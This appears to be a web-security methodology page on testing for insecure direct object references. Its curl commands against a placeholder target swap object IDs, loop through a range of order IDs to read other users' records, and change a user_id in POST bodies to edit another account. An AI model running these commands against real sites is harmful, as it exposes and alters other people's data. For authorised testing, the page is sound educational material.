# IDOR Testing by Parameter Tampering

> Discover IDOR vulnerabilities by manipulating HTTP parameters, path values, and object references to access unauthorized resources across API endpoints and web functions.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/idor-testing-by-parameter-tampering
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-01-23
- **Updated:** 2026-08-11

Insecure direct object reference testing confirms whether server-side authorization is enforced on object identifiers. The test is simple: change a reference to an object you shouldn't own and check whether the server returns it. A confirmed IDOR moves to [IDOR exploitation](https://hackindex.io/services/web/exploitation/idor-exploitation) for full horizontal or vertical access escalation.

Run this after [parameter crawling](https://hackindex.io/services/web/enumeration/parameter-crawling) gives you a list of endpoints and parameter names. IDOR is most common on download, view, edit, and delete endpoints that reference objects by ID. For the broader authorization methodology covering vertical escalation and method-based bypasses, see [access control testing](https://hackindex.io/services/web/vulnerability-discovery/access-control-testing).

## High-Signal Starting Points

Focus on endpoints with object references before testing everything:

- Download and view endpoints: `/download?id=`, `/invoice?id=`, `/report?file=`
- Profile and account endpoints: `/user/123/profile`, `/account?uid=`
- API endpoints: `/api/v1/orders/123`, `/api/messages/456`
- Sequential numeric IDs, UUIDs, and short hashes in URLs or JSON bodies

## Basic ID Tampering

Take a known-good request and change only the object reference. Compare the response to confirm unauthorized access:

```bash
curl -sk "http://$TARGET_IP:$PORT/download.php?file_id=123" -H 'Cookie: session=YOUR_SESSION'
# {"filename":"invoice_123.pdf","owner":"user_abc"}
```

```bash
curl -sk "http://$TARGET_IP:$PORT/download.php?file_id=124" -H 'Cookie: session=YOUR_SESSION'
# {"filename":"invoice_124.pdf","owner":"user_xyz"}
```

A 200 response with a different user's object is a confirmed IDOR. A 302 to login usually means the session expired, not that access is controlled. A 403 is good unless the response body or timing differences still leak information.

## Enumerate a Range of IDs

When you confirm a single IDOR, enumerate the range to assess scope:

```bash
for i in $(seq 1 50); do echo -n "ID $i: "; curl -sk "http://$TARGET_IP:$PORT/api/orders/$i" -H 'Cookie: session=YOUR_SESSION' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user','?'), d.get('total','?'))"; done
# ID 1: admin 1240.00
# ID 2: user_xyz 89.99
# ID 3: user_abc 312.50
```

## POST and PUT Body Tampering

IDOR is not limited to GET parameters. Check request bodies in POST, PUT, and PATCH requests too:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/profile/update -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"user_id":"456","email":"test@test.com"}'
```

If the server accepts a `user_id` in the body without validating it matches the session, changing it to another user's ID modifies their profile: a write IDOR which is higher impact than read.

## UUID and Hash-Based References

UUIDs are not a security control. If the application uses UUIDs as object identifiers, test whether they are guessable or if other endpoints leak them:

```bash
curl -sk http://$TARGET_IP:$PORT/api/users -H 'Cookie: session=YOUR_SESSION' | python3 -m json.tool | grep -i uuid
```

A list endpoint returning UUIDs for other users provides the identifiers needed to test IDOR on per-object endpoints. The UUID being non-sequential does not prevent IDOR if another endpoint exposes the valid values.

## Find Hidden API Endpoints via JS

Frontend JavaScript often contains API routes with object reference patterns not visible in the rendered UI:

```bash
curl -sk http://$TARGET_IP:$PORT/app.js | grep -oE '/api/[a-zA-Z0-9/_-]+' | sort -u
# /api/users/
# /api/orders/
# /api/invoices/
# /api/admin/users/
```

## References

- [PortSwigger: IDOR](https://portswigger.net/web-security/access-control/idor) - IDOR definition, common patterns, and testing methodology
- [OWASP WSTG: IDOR Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) - IDOR testing methodology and test cases
